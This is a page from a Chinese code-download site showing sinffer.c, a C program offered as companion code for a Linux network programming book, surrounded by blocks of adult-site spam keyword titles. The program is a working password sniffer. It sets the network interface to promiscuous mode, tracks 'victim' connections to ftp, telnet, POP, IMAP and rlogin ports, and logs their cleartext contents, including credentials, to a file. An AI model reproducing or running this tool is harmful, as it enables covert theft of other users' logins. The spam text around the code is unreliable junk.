亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? sinffer.c

?? Linux網(wǎng)絡(luò)編程配套源代碼 不過看的時(shí)候最好和書籍一起配套看
?? C
字號(hào):
#include <sys/types.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <sys/ioctl.h>

#include <netinet/in.h>

#include <netdb.h>

#include <string.h>

#include <linux/if.h>

#include <signal.h>

#include <stdio.h>

#include <arpa/inet.h>

#include <linux/socket.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <linux/if_ether.h>



int openintf(char *);

int read_tcp(int);

int filter(void);

int print_header(void);

int print_data(int, char *);

char *hostlookup(unsigned long int);

void clear_victim(void);

void cleanup(int);



struct etherpacket

{

   struct ethhdr eth;

   struct iphdr  ip;

   struct tcphdr tcp;

   char buff[8192];

}ep;



struct

{

   unsigned long      saddr;

   unsigned long      daddr;

   unsigned short     sport;

   unsigned short     dport;

   int                bytes_read;

   char               active;

   time_t             start_time;

} victim;



struct iphdr  *ip;

struct tcphdr *tcp;

int s;

FILE *fp;



#define CAPTLEN 512

#define TIMEOUT 30

#define TCPLOG "tcp.log"



int openintf(char *d)

{

   int fd;

   struct ifreq ifr;

   int s;

   fd=socket(AF_INET, SOCK_PACKET, htons(0x800));

   if(fd < 0)

   {

      perror("cant get SOCK_PACKET socket");

      exit(0);

   }

   strcpy(ifr.ifr_name, d);

   s=ioctl(fd, SIOCGIFFLAGS, &ifr);

   if(s < 0)

   {

      close(fd);

      perror("cant get flags");

      exit(0);

   }

   ifr.ifr_flags |= IFF_PROMISC;

   s=ioctl(fd, SIOCSIFFLAGS, &ifr);

   if(s < 0) perror("cant set promiscuous mode");

   return fd;

}



int read_tcp(int s)

{

   int x;

   while(1)

   {

      x=read(s, (struct etherpacket *)&ep, sizeof(ep));

      if(x > 1) 

      {

         if(filter()==0) continue;

         x=x-54;

         if(x < 1) continue;

         return x;

      }

   }

}



int filter(void)

{

   int p;

   p=0;

   if(ip->protocol != 6) return 0;

   if(victim.active != 0)   

      if(victim.bytes_read > CAPTLEN)

      {

         fprintf(fp, "\n----- [CAPLEN Exceeded]\n");

         clear_victim();

         return 0;

      }

   if(victim.active != 0)

      if(time(NULL) > (victim.start_time + TIMEOUT))

      {

         fprintf(fp, "\n----- [Timed Out]\n");

         clear_victim();

         return 0;

      }                                                                                                                  

   if(ntohs(tcp->dest)==21)  p=1; /* ftp */

   if(ntohs(tcp->dest)==23)  p=1; /* telnet */

   if(ntohs(tcp->dest)==110) p=1; /* pop3 */

   if(ntohs(tcp->dest)==109) p=1; /* pop2 */

   if(ntohs(tcp->dest)==143) p=1; /* imap2 */

   if(ntohs(tcp->dest)==513) p=1; /* rlogin */

   if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

   if(victim.active == 0)

      if(p == 1)

         if(tcp->syn == 1)

         {

            victim.saddr=ip->saddr;

            victim.daddr=ip->daddr;

            victim.active=1;

            victim.sport=tcp->source;

            victim.dport=tcp->dest;

            victim.bytes_read=0;

            victim.start_time=time(NULL);

            print_header();

         }  

   if(tcp->dest != victim.dport) return 0;

   if(tcp->source != victim.sport) return 0;

   if(ip->saddr != victim.saddr) return 0;

   if(ip->daddr != victim.daddr) return 0;

   if(tcp->rst == 1) 

   {

      victim.active=0;

      alarm(0);

      fprintf(fp, "\n----- [RST]\n");

      clear_victim();

      return 0;

   }

   if(tcp->fin == 1) 

   {

      victim.active=0;

      alarm(0);

      fprintf(fp, "\n----- [FIN]\n");

      clear_victim();

      return 0;

   }

   return 1;

}



   

int print_header(void)

{

   fprintf(fp, "\n");

   fprintf(fp, "%s => ", hostlookup(ip->saddr));

   fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));   

}



int print_data(int datalen, char *data)

{

   int i=0;

   int t=0;

   

   victim.bytes_read=victim.bytes_read+datalen;

   for(i=0;i != datalen;i++)

   {

      if(data[i] == 13) { fprintf(fp, "\n"); t=0; }

      if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}

      if(t > 75) {t=0;fprintf(fp, "\n");}

   }

}





main(int argc, char **argv)

{

   s=openintf("eth0");

   ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);

   tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);   

   signal(SIGHUP, SIG_IGN);

   signal(SIGINT, cleanup);

   signal(SIGTERM, cleanup);

   signal(SIGKILL, cleanup);

   signal(SIGQUIT, cleanup);

   if(argc == 2) fp=stdout;

   else fp=fopen(TCPLOG, "at");

   if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}

   clear_victim();

   for(;;)

   {

      read_tcp(s);

      if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);

      fflush(fp);      

   }   

}



char *hostlookup(unsigned long int in)

{ 

   static char blah[1024];

   struct in_addr i;

   struct hostent *he;

   

   i.s_addr=in;

   he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);

   if(he == NULL) strcpy(blah, inet_ntoa(i));

   else strcpy(blah, he->h_name);

   return blah;

}



void clear_victim(void)

{

   victim.saddr=0;

   victim.daddr=0;

   victim.sport=0;

   victim.dport=0;

   victim.active=0;

   victim.bytes_read=0;

   victim.start_time=0;

}



void cleanup(int sig)

{

   fprintf(fp, "Exiting...\n");

   close(s);

   fclose(fp);

   exit(0);

}

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
av中文字幕不卡| 在线观看91精品国产入口| 亚洲精品国产品国语在线app| 欧美一级高清片| 99久久久久免费精品国产| 日韩经典一区二区| 最新成人av在线| 欧美精品一区二区三区蜜桃视频| 色婷婷精品久久二区二区蜜臂av| 国产在线一区观看| 日韩国产欧美一区二区三区| 中文字幕一区二区三区四区不卡 | 欧美成人bangbros| 91豆麻精品91久久久久久| 国产精品一区二区在线看| 三级欧美在线一区| 亚洲欧美国产三级| 国产精品日日摸夜夜摸av| 欧美本精品男人aⅴ天堂| 欧美日韩高清一区二区| 日本国产一区二区| 成人免费毛片aaaaa**| 激情小说亚洲一区| 久久精品久久久精品美女| 亚洲成人精品在线观看| 亚洲另类一区二区| 亚洲欧美日韩精品久久久久| 国产精品亲子乱子伦xxxx裸| 久久久久亚洲蜜桃| 久久伊人中文字幕| 久久男人中文字幕资源站| 日韩精品中文字幕在线一区| 欧美一区二区三区四区久久| 欧美福利电影网| 91麻豆精品国产91久久久久久久久 | 26uuu成人网一区二区三区| 欧美一区二区视频在线观看2020| 欧美久久久久久久久中文字幕| 欧美在线视频日韩| 欧美精品久久99久久在免费线| 欧美日韩精品专区| 91精品久久久久久蜜臀| 日韩一区二区免费在线观看| 日韩免费福利电影在线观看| 日韩欧美成人一区| 久久新电视剧免费观看| 国产性做久久久久久| 国产午夜精品一区二区三区嫩草| 亚洲国产激情av| 中文字幕在线观看一区| 亚洲精品高清在线| 视频一区在线播放| 精品在线免费观看| 国产成人综合网站| 91在线国产福利| 欧美天天综合网| 日韩小视频在线观看专区| 日韩精品一区二区三区视频播放| 日韩精品一区二区三区swag| 久久亚洲捆绑美女| 自拍偷在线精品自拍偷无码专区| 亚洲乱码中文字幕| 日韩二区三区在线观看| 国精产品一区一区三区mba桃花| 成人午夜私人影院| 色噜噜狠狠一区二区三区果冻| 欧美日韩国产一区二区三区地区| 日韩精品一区二区在线| 中文字幕欧美国产| 亚洲成人免费影院| 国产精品一区二区在线看| 91麻豆123| 日韩视频一区二区三区在线播放| 国产日韩精品一区二区三区| 亚洲天堂网中文字| 欧美bbbbb| 播五月开心婷婷综合| 欧美日精品一区视频| 久久色.com| 亚洲一区二区偷拍精品| 老司机精品视频导航| 色综合天天综合在线视频| 欧美一区二区观看视频| 亚洲欧洲日韩av| 蜜臀av性久久久久蜜臀av麻豆| 成人激情午夜影院| 欧美一级黄色大片| 一区二区三区欧美日韩| 国产尤物一区二区在线| 国产欧美一区二区精品仙草咪| 亚洲三级理论片| 免费不卡在线视频| 日本福利一区二区| 欧美国产日韩一二三区| 日韩成人伦理电影在线观看| 99国产精品久久久| 久久嫩草精品久久久精品一| 亚洲sss视频在线视频| 成人午夜av在线| 欧美电影免费观看高清完整版在线 | 欧美一区二区三区啪啪| 亚洲人被黑人高潮完整版| 激情欧美日韩一区二区| 欧美三级三级三级爽爽爽| 日本一区二区电影| 久久电影网站中文字幕| 欧美亚洲丝袜传媒另类| 亚洲图片欧美激情| 国产精品白丝av| 精品久久久久久久一区二区蜜臀| 亚洲电影一级片| 91黄视频在线观看| 亚洲欧洲日产国码二区| 顶级嫩模精品视频在线看| 欧美精品在线观看一区二区| 亚洲欧美另类在线| 不卡影院免费观看| 国产调教视频一区| 国产一区二区电影| 精品成人一区二区| 欧美aaaaa成人免费观看视频| 欧美午夜一区二区| 一区二区三区在线播放| 97久久人人超碰| 国产精品久久久久久久久免费桃花 | 亚洲精品视频在线看| 成人免费高清在线| 久久久久久电影| 国产一二精品视频| 久久精品夜色噜噜亚洲a∨| 国产在线精品一区二区不卡了 | 视频一区在线播放| 欧美日韩一级二级三级| 亚洲午夜日本在线观看| 欧美日韩一区在线观看| 亚洲国产视频一区| 欧美乱妇20p| 美女网站在线免费欧美精品| 51精品视频一区二区三区| 视频一区视频二区中文字幕| 制服丝袜亚洲色图| 麻豆精品一区二区三区| 久久综合狠狠综合久久综合88| 国模大尺度一区二区三区| 久久嫩草精品久久久精品| 成人午夜视频福利| 亚洲婷婷国产精品电影人久久| 日本韩国精品一区二区在线观看| 亚洲综合一区二区精品导航| 欧美色网站导航| 青青草原综合久久大伊人精品 | 91丝袜美腿高跟国产极品老师| 国产精品高清亚洲| 在线观看视频一区| 视频一区视频二区在线观看| 日韩免费在线观看| 成人综合在线网站| 亚洲综合在线视频| 欧美一区二区三区免费观看视频 | 懂色av中文字幕一区二区三区| 国产精品伦理一区二区| 在线观看日韩高清av| 蜜臀av一区二区在线观看| 国产日韩亚洲欧美综合| 色综合久久久久久久| 日韩精品一区第一页| 久久综合狠狠综合久久激情 | 欧美性大战xxxxx久久久| 免费成人小视频| 国产精品污污网站在线观看| 91在线国产福利| 老司机午夜精品99久久| 中文字幕一区二区日韩精品绯色| 欧美日韩在线综合| 韩国理伦片一区二区三区在线播放| 国产精品久久久久一区二区三区共| 欧美午夜精品久久久久久超碰 | 日韩午夜电影在线观看| 国产98色在线|日韩| 亚洲一区二区三区自拍| 久久久国际精品| 欧美日韩精品一区二区在线播放| 激情另类小说区图片区视频区| 国产精品成人网| 日韩亚洲欧美高清| 色av综合在线| 国产高清视频一区| 婷婷综合五月天| 中文字幕一区二区在线播放| 日韩欧美一二三区| 在线欧美小视频| 国v精品久久久网| 麻豆成人av在线| 亚洲综合色丁香婷婷六月图片| 久久精品人人做人人爽人人| 欧美老肥妇做.爰bbww视频| av一区二区久久| 国产麻豆精品在线观看| 日韩经典一区二区| 日韩毛片一二三区|